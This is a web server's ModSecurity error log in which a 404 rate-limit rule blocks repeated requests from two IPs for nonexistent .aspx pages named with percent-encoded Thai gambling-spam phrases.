[Tue Jan 27 08:25:34.493668 2026] [:error] [pid 48528:tid 48545] [client 193.70.33.35:57716] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20168%20%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet.aspx"] [unique_id "aXgF_gOGRrquT9N7CZoJ9wAAAg8"]
[Tue Jan 27 08:25:36.955087 2026] [:error] [pid 7453:tid 7498] [client 193.70.33.35:51720] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20789.aspx"] [unique_id "aXgGABfsyA2ws_ADqujIbwAAAEk"]
[Tue Jan 27 08:25:39.624330 2026] [:error] [pid 48528:tid 48553] [client 193.70.33.35:51730] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B8%97%E0%B8%B1%E0%B9%89%E0%B8%87%E0%B8%AB%E0%B8%A1%E0%B8%94.aspx"] [unique_id "aXgGAwOGRrquT9N7CZoKAQAAAhc"]
[Tue Jan 27 08:25:42.253127 2026] [:error] [pid 7561:tid 7577] [client 193.70.33.35:51732] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg.aspx"] [unique_id "aXgGBrXGI6mgvHQqkXxVmgAAAM0"]
[Tue Jan 27 08:25:44.796638 2026] [:error] [pid 48528:tid 48542] [client 193.70.33.35:51744] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%97%E0%B8%B1%E0%B9%89%E0%B8%87%E0%B8%AB%E0%B8%A1%E0%B8%94.aspx"] [unique_id "aXgGCAOGRrquT9N7CZoKBQAAAgw"]
[Tue Jan 27 08:25:47.397294 2026] [:error] [pid 48631:tid 48647] [client 193.70.33.35:37544] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%9C%E0%B9%88%E0%B8%B2%E0%B8%99%E0%B9%80%E0%B8%AD%E0%B9%80%E0%B8%A2%E0%B9%88%E0%B8%99%E0%B8%95%E0%B9%8C.aspx"] [unique_id "aXgGCyN5eesHzEogX0zQZQAAAk4"]
[Tue Jan 27 08:25:50.007049 2026] [:error] [pid 48528:tid 48546] [client 193.70.33.35:37554] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXgGDgOGRrquT9N7CZoKCwAAAhA"]
[Tue Jan 27 08:25:52.613003 2026] [:error] [pid 48631:tid 48643] [client 193.70.33.35:37570] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXgGECN5eesHzEogX0zQaAAAAko"]
[Tue Jan 27 08:25:55.226376 2026] [:error] [pid 48445:tid 48471] [client 193.70.33.35:37582] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C.aspx"] [unique_id "aXgGExFh_QNUhZ0HkzdvGwAAAZY"]
[Tue Jan 27 08:25:57.697541 2026] [:error] [pid 48662:tid 48691] [client 193.70.33.35:50660] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%AD%E0%B8%B1%E0%B8%99%E0%B8%94%E0%B8%B1%E0%B8%9A%201%20%E0%B8%82%E0%B8%AD%E0%B8%87%E0%B9%82%E0%B8%A5%E0%B8%81.aspx"] [unique_id "aXgGFeD8iESUP9uRiROScAAAApY"]
[Tue Jan 27 08:26:00.298877 2026] [:error] [pid 48445:tid 48473] [client 193.70.33.35:50676] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%84%E0%B9%88%E0%B8%B2%E0%B8%A2%E0%B9%83%E0%B8%AB%E0%B8%8D%E0%B9%88%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXgGGBFh_QNUhZ0HkzdvJAAAAZg"]
[Tue Jan 27 08:26:02.781600 2026] [:error] [pid 48631:tid 48653] [client 193.70.33.35:50692] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B8%84%E0%B9%88%E0%B8%B2%E0%B8%A2%E0%B9%83%E0%B8%AB%E0%B8%8D%E0%B9%88.aspx"] [unique_id "aXgGGiN5eesHzEogX0zQcQAAAlQ"]
[Tue Jan 27 08:26:05.401531 2026] [:error] [pid 48412:tid 48423] [client 193.70.33.35:50708] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2.aspx"] [unique_id "aXgGHXbJMfAKlln88JFKVQAAAUk"]
[Tue Jan 27 08:26:26.398482 2026] [:error] [pid 48528:tid 48544] [client 193.70.33.35:43454] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%81%E0%B8%88%E0%B8%81%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20100%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXgGMgOGRrquT9N7CZoKkAAAAg4"]
[Tue Jan 27 08:26:28.907086 2026] [:error] [pid 41780:tid 41793] [client 193.70.33.35:44274] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%81%E0%B8%88%E0%B8%81%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXgGNFvu-XLQ0TaZ4FGW4wAAAQs"]
[Tue Jan 27 08:26:31.515709 2026] [:error] [pid 7453:tid 7492] [client 193.70.33.35:44284] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%81%E0%B8%88%E0%B8%81%E0%B9%82%E0%B8%84%E0%B9%89%E0%B8%94%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXgGNxfsyA2ws_ADqujJPAAAAEM"]
[Tue Jan 27 08:26:34.124356 2026] [:error] [pid 48446:tid 48494] [client 193.70.33.35:44294] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%81%E0%B8%97%E0%B9%88%E0%B8%87%E0%B8%AB%E0%B8%A7%E0%B8%A224%20net%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXgGOsDRSaZ8F8aaLxkA0AAAAdA"]
[Tue Jan 27 08:26:36.726864 2026] [:error] [pid 7454:tid 7530] [client 193.70.33.35:48922] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%81%E0%B8%AD%E0%B8%9E%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXgGPJltCoZEfMmfl8Cy4wAAAI4"]
[Tue Jan 27 08:26:39.331321 2026] [:error] [pid 48528:tid 48532] [client 193.70.33.35:48924] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%82%E0%B8%84%E0%B9%89%E0%B8%94%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94%20%E0%B8%A7%E0%B8%B1%E0%B8%99%E0%B8%99%E0%B8%B5%E0%B9%89.aspx"] [unique_id "aXgGPwOGRrquT9N7CZoKpAAAAgI"]
[Tue Jan 27 08:26:41.936873 2026] [:error] [pid 48631:tid 48654] [client 193.70.33.35:48938] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%82%E0%B8%84%E0%B9%89%E0%B8%94%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94%E0%B8%A7%E0%B8%B1%E0%B8%99%E0%B8%99%E0%B8%B5%E0%B9%89.aspx"] [unique_id "aXgGQSN5eesHzEogX0zQiQAAAlU"]
[Tue Jan 27 08:26:44.538818 2026] [:error] [pid 48528:tid 48541] [client 193.70.33.35:48950] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%82%E0%B8%84%E0%B9%89%E0%B8%94%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXgGRAOGRrquT9N7CZoKyAAAAgs"]
[Tue Jan 27 08:26:47.207100 2026] [:error] [pid 48528:tid 48547] [client 193.70.33.35:53960] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%82%E0%B8%88%E0%B9%8A%E0%B8%81%E0%B9%80%E0%B8%81%E0%B8%AD%E0%B8%A3%E0%B9%8C123%20%E0%B8%94%E0%B8%B2%E0%B8%A7%E0%B8%99%E0%B9%8C%E0%B9%82%E0%B8%AB%E0%B8%A5%E0%B8%94.aspx"] [unique_id "aXgGRwOGRrquT9N7CZoK3gAAAhE"]
[Tue Jan 27 08:26:49.766253 2026] [:error] [pid 48412:tid 48437] [client 193.70.33.35:53964] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%82%E0%B8%88%E0%B9%8A%E0%B8%81%E0%B9%80%E0%B8%81%E0%B8%AD%E0%B8%A3%E0%B9%8C123.aspx"] [unique_id "aXgGSXbJMfAKlln88JFK4gAAAVc"]
[Tue Jan 27 08:26:52.379825 2026] [:error] [pid 48662:tid 48680] [client 193.70.33.35:53980] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%82%E0%B8%9B%E0%B8%A3%20%E0%B8%97%E0%B8%B8%E0%B8%99%E0%B8%99%E0%B9%89%E0%B8%AD%E0%B8%A2%20%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXgGTOD8iESUP9uRiROTKQAAAow"]
[Tue Jan 27 08:26:54.969654 2026] [:error] [pid 48412:tid 48433] [client 193.70.33.35:53984] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%82%E0%B8%9B%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%9D%E0%B8%B2%E0%B8%81%205%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%2050%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94%202566.aspx"] [unique_id "aXgGTnbJMfAKlln88JFK6QAAAVM"]
[Tue Jan 27 08:26:57.434265 2026] [:error] [pid 48662:tid 48671] [client 193.70.33.35:36964] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%82%E0%B8%9B%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%B8%E0%B8%99%E0%B8%99%E0%B9%89%E0%B8%AD%E0%B8%A2.aspx"] [unique_id "aXgGUeD8iESUP9uRiROTMQAAAoM"]
[Tue Jan 27 08:27:00.034173 2026] [:error] [pid 7561:tid 7585] [client 193.70.33.35:36976] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%82%E0%B8%9B%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXgGVLXGI6mgvHQqkXxWMwAAANU"]
[Tue Jan 27 10:16:35.014006 2026] [:error] [pid 7454:tid 7530] [client 93.158.213.25:53952] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXggA5ltCoZEfMmfl8DJ1gAAAI4"]
[Tue Jan 27 10:16:37.913005 2026] [:error] [pid 48631:tid 48644] [client 93.158.213.25:47634] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXggBSN5eesHzEogX0znyAAAAks"]
[Tue Jan 27 10:16:41.531110 2026] [:error] [pid 48631:tid 48649] [client 93.158.213.25:47642] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg.aspx"] [unique_id "aXggCSN5eesHzEogX0znzgAAAlA"]
[Tue Jan 27 10:16:45.730432 2026] [:error] [pid 48412:tid 48429] [client 93.158.213.25:47644] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B9%82%E0%B8%A3%E0%B8%A1%E0%B9%88%E0%B8%B2%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXggDXbJMfAKlln88JFvMgAAAU8"]
[Tue Jan 27 10:16:49.514051 2026] [:error] [pid 48446:tid 48496] [client 93.158.213.25:48550] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20gclub1688.aspx"] [unique_id "aXggEcDRSaZ8F8aaLxkfvgAAAdI"]
[Tue Jan 27 10:16:53.308246 2026] [:error] [pid 41780:tid 41798] [client 93.158.213.25:48562] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20pg%20slot.aspx"] [unique_id "aXggFVvu-XLQ0TaZ4FGwPQAAARA"]
[Tue Jan 27 10:16:56.882573 2026] [:error] [pid 48528:tid 48545] [client 93.158.213.25:33960] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20369.aspx"] [unique_id "aXggGAOGRrquT9N7CZoktQAAAg8"]
[Tue Jan 27 10:17:00.869103 2026] [:error] [pid 7453:tid 7507] [client 93.158.213.25:33976] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20joker%20%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXggHBfsyA2ws_ADqujzWAAAAFI"]
[Tue Jan 27 10:17:04.162051 2026] [:error] [pid 7561:tid 7582] [client 93.158.213.25:33984] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20pg.aspx"] [unique_id "aXggILXGI6mgvHQqkXxzHQAAANI"]
